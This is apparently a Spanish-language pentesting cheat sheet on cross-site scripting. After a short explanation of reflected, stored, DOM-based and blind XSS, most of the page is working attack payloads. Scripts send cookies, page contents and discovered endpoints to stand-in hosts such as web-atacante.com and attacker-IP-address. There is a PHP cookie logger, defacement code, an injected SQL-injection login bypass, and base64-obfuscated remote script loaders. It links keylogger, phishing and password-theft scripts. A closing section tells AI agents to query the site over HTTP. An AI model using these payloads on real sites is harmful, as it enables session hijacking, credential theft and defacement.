# Cross-site scripting (XSS)

## Reflected server XSS (Non-Persistent)

Ocurre cuando la entrada del usuario se muestra en la página después de ser procesada por el servidor (back-end), pero sin ser almacenada.&#x20;

Se encuentra a menudo donde la entrada del usuario se envía a través de parámetros GET, por ejemplo, una opción de búsqueda que refleje la palabra buscada. Para explotarlo, normalmente se envía un enlace a un usuario con el payload. Dado que el usuario confía en el dominio, posiblemente hará clic en el enlace, el servidor agregará nuestro payload y el navegador del usuario lo ejecutará.&#x20;

Es posible que los parámetros POST también den como resultado un "reflected server XSS (Non-Persistent)". Sin embargo, no podríamos explotarlo enviado un enlace a un usuario. En su lugar, tendríamos que enviar al usuario a un sitio web que controlamos y tener un formulario que haga un POST automáticamente cuando el usuario ingrese al sitio web.

## Stored server XSS (Persistent)

Ocurre cuando la entrada del usuario se almacena en la base de datos (back-end) y luego se muestra al recuperarla. Por ejemplo, publicaciones o comentarios.

Esto hace que este tipo de XSS sea el más crítico, ya que afecta a una audiencia mucho más amplia. Cualquier usuario que visite la página sería víctima de este ataque. Además, es posible que "stored server XSS (Persistent)" no se pueda quitar fácilmente y que sea necesario eliminar el payload de la base de datos (back-end).

## Reflected client XSS (Non-Persistent / DOM based)

Ocurre cuando la entrada del usuario se muestra en la página y esta es procesada por completo en el lado del cliente (JavaScript), pero sin ser almacenada.

Se encuentra a menudo donde la entrada del usuario se envía a través de parámetros GET, por ejemplo, una opción de búsqueda que refleje la palabra buscada y que esta sea asignada a un elemento HTML desde JavaScript.

```sh
http://<target>/?search=<img src='noexiste' onerror='alert(0)'>
```

{% code title="search.js" %}

```javascript
const urlSearchParams = new URLSearchParams(window.location.search);
const params = Object.fromEntries(urlSearchParams.entries());
document.getElementById("search").innerHTML = params.search
```

{% endcode %}

## Stored client XSS (Persistent / DOM based)

Ocurre cuando la entrada del usuario se almacena en la base de datos (back-end) y esta es procesada por completo en el lado del cliente (JavaScript) cuando se muestra en la página luego de recuperarla. Por ejemplo, publicaciones o comentarios que son obtenidos desde una base de datos y son asignados a elementos HTML desde JavaScript.

## Blind XSS

Payloads de identificación general de "blind XSS".

```javascript
<script src=http://attacker-IP-address></script>
'><script src=http://attacker-IP-address></script>
"><script src=http://attacker-IP-address></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://attacker-IP-address\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//attacker-IP-address");a.send();</script>
<script>$.getScript("http://attacker-IP-address")</script>
```

Ejemplo de identificación de campo vulnerable a "blind XSS".

```sh
mkdir /tmp/phpserver
cd /tmp/phpserver
php -S 0.0.0.0:80
```

```javascript
<script src=http://attacker-IP-address/name></script>
<script src=http://attacker-IP-address/lastname></script>
<script src=http://attacker-IP-address/address></script>
```

## Payloads

### General

```html
<script>alert(0)</script>
<script>alert('XSS');</script>
<img src="noexiste" onerror=alert(document.cookie)>
<img src="noexiste" onerror=document.write(document.cookie)>
<script>alert(window.origin)</script>
<img src="" onerror=alert(window.origin)>
<plaintext>
<script>print()</script>
# WebSocket
<img src="noexiste" onerror=socket.send(document.cookie)>
```

* [common-xss-payloads.txt](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/common-xss-payloads.txt)

### Stealing session cookies

Acceso a cookies desde JavaScript (HttpOnly no establecido).

```javascript
<script>alert(document.cookie);</script>
```

Envía cookies a web del atacante.

```javascript
<script>new Image().src='http://web-atacante.com/xss.php?cookie='+document.cookie</script>
<script>fetch(`http://web-atacante.com/xss.php?cookie=${btoa(document.cookie)}`)</script>
<script>fetch('http://web-atacante.com', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<img src="noexiste" onerror="fetch('http://web-atacante.com/\?cookie=' + encodeURIComponent(document.cookie))">
<script>var xhr=new XMLHttpRequest();xhr.open('GET','http://web-atacante.com/\?cookie='+encodeURIComponent(document.cookie),true);xhr.send();</script>
<script>var xhr=new XMLHttpRequest();xhr.open('POST','http://web-atacante.com/',true);xhr.send('cookie='+encodeURIComponent(document.cookie));</script>
```

Registro de cookies en servidor del atacante.

{% code title="xss.php" %}

```php
<?php
// php -S 0.0.0.0:80
// tail -f steal-secrets.txt

if (isset($_GET['cookie'])) {
    $list = explode(";", $_GET['cookie']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("steal-secrets.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookies: {$cookie}\n");
        fclose($file);
    }
}
?>
```

{% endcode %}

Guarda cookies ocultas dentro del HTML de la página web.

```javascript
<div style="display: none;">
<img src="noexiste" onerror=
"document.getElementById('form').onsubmit=function () {
var hidden='<span style=\'display:none;\'>
'+document.cookie+'</span>';
document.getElementById('mensaje').value+=hidden;}"/>
</div>
```

### Stealing local secrets

Existen dos tipos de almacenamiento de datos en el navegador disponibles `localStorage` y `sessionStorage`, su diferencia radica en el nivel de persistencia de los datos. Al utilizar `localStorage` los datos se conservan hasta que se eliminen explícitamente, mientras que al utilizar `sessionStorage` los datos se conservan hasta que se cierre la pestaña. Se puede acceder a los datos de `localStorage` usando la propiedad `window.localStorage`, mientras que se puede acceder a `sessionStorage` con la propiedad `window.sessionStorage`.

* [steal-secrets.js](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/steal-secrets.js)
* [xss.php](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/xss.php)

### Stealing saved passwords

* [steal-saved-passwords.js](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/steal-saved-passwords.js)
* [xss.php](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/xss.php)

### Keylogger

* [keylogger.js](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/keylogger.js)
* [keylogger.php](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/keylogger.php)

### Phishing

* [phishing.js](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/phishing.js)
* [xss.php](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/xss.php)

### Defacement

```javascript
<script>document.title="Defacement"</script>
<script>document.getElementsByTagName('body')[0].innerHTML='Defacement'</script>
<script>document.getElementById("id").innerHTML = "Defacement";</script>
<img src="noexiste" onerror="document.title='Defacement';" />
<script>document.body.style.background="#ff0000"</script>
<script>document.body.background="https://example.com/image.png"</script>
```

```javascript
<script>
    var tagHeader = document.getElementsByTagName('header')[0];
    var tagH1 = tagHeader.getElementsByTagName('h1');
    for(var i=0; i<tagH1.length; i++) {
        var tagH1item = tagH1[i];
        tagH1item.innerHTML='Defacement';
    }
</script>
```

### Identificación de funcionalidades internas (análisis HTML de la aplicación)

```javascript
try {
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "http://<target>/index.php", false);
    xhr.withCredentials = true;
    xhr.send();
    var res = xhr.responseText;
} catch (error) {
    var res = error;
}	

var exfil = new XMLHttpRequest();
exfil.open("POST", "http://web-atacante.com/", false);
exfil.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "exfil=" + encodeURIComponent(btoa(res));
exfil.send(data);
```

### Enumeración de API internas

```javascript
var endpoints = ["account","accounts","credentials","creds","customer","customers","member","members","pass","password","passwords","profile","profiles","setting","settings","user","username","users"];

for (i in endpoints){
    try {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", `http://<target>/v1/${endpoints[i]}`, false);
        xhr.send();
        
        if (xhr.status != 404) {
            var exfil = new XMLHttpRequest();
            exfil.open("GET", "http://web-atacante.com/?exfil=" + btoa(endpoints[i]), false);
            exfil.send();
        }
    } catch {
    }
}
```

### SQL injection en login interno

```javascript
try {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://<target>/login.php", false);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    var data = `username=${encodeURIComponent("' OR '1'='1' -- -")}&password=x`;
    xhr.send(data);
    var res = xhr.responseText;
} catch (error) {
    var res = error;
}   

var exfil = new XMLHttpRequest();
exfil.open("POST", "http://web-atacante.com/", false);
exfil.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "exfil=" + encodeURIComponent(btoa(res));
exfil.send(data);
```

### POST request

{% code title="xss.js" %}

```javascript
fetch('http://<target>/',{
    method: 'POST',
    mode: 'same-origin',
    credentials: 'same-origin',
    headers: {
        'Content-Type':'application/x-www-form-urlencoded'
    }, 
    body:'param=value1&param2=value2&param3=value3'
})
```

{% endcode %}

### Ejecución de payload desde recurso externo

Creación de archivo JavaScript con payload a ejecutar.

{% code title="xss.js" %}

```javascript
alert(0)
```

{% endcode %}

Habilitación de servidor HTTP para compartir el archivo `xss.js`.

```sh
php -S 0.0.0.0:80
```

Payloads para cargar JavaScript desde recurso externo.

```html
<script src="http://<attacker-IP-address>/xss.js"></script>
<img src="x" onerror="s=document.createElement('script');s.src='http://<attacker-IP-address>/xss.js';document.body.appendChild(s);">
```

Payload utilizando jQuery para cargar JavaScript desde recurso externo.

```javascript
jQuery.getScript('http://<attacker-IP-address>/xss.js')
echo -n "jQuery.getScript('<attacker-IP-address>/xss.js')" | base64
'+eval(atob('alF1ZXJ5LmdldFNjcmlwdCgnPGF0dGFja2VyLUlQLWFkZHJlc3M+L3hzcy5qcycp'))+'
'+btoa(eval(atob('alF1ZXJ5LmdldFNjcmlwdCgnPGF0dGFja2VyLUlQLWFkZHJlc3M+L3hzcy5qcycp')))+'
```

### PortSwigger

* <https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>

### Payload Box

* <https://github.com/payloadbox/xss-payload-list>

### Payloads All The Things

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection)

## Herramientas

### XSS Hunter

* <https://xsshunter.com/>

### Truffle Security

* <https://xsshunter.trufflesecurity.com/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://web.mrw0l05zyn.cl/explotacion/cross-site-scripting-xss.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
